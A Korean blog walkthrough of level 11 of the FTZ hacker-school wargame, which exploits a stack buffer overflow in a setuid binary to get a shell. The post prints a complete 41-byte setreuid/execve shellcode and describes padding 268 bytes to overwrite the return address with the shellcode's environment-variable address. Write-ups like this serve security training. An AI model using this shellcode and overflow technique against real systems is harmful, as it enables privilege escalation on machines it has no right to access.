OS/Linux
[ftz] hacker school level11 풀이
Dexter_-
2020. 4. 27. 17:48
728x90
반응형
Free Training Zone level11 풀이
1. cat 명령을 사용하여 hint 출력
2. attackme 파일 tmp 디렉터리로 복사
쓰기 권한이 있는 tmp 디렉터리로 이동하여 attackme 파일을 gdb 로 분석한다.
3. gdb 분석
hint 에서 언급한 코드에서 str[256] 은 위 빨간 박스에서 할당된다.
할당은 264만큼 받았음으로 dummy가 8byte 존재하게된다.
스택 구조를 그려보면 아래와 같다.
4. shell code 환경변수 등록 및 shell code 주소 찾기
41byte shell code는 아래와 같다.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46
\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69
\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
위 shell code를 export 명령을 통해 아래와 같이 환경변수에 등록해준다.
환경변수에 등록된 shell code의 주소를 찾기 위해 아래와 같이 코드 작성 후 컴파일하여 실행한다.
위에서 계산했던 268byte에 "A"를 채워넣고 뒤에 shell code주소를 호출하면 오버플로우에
의해 return 실행 부분에서 shell code가 실행된다.
아래는 작성된 페이로드 코드이다.
728x90
반응형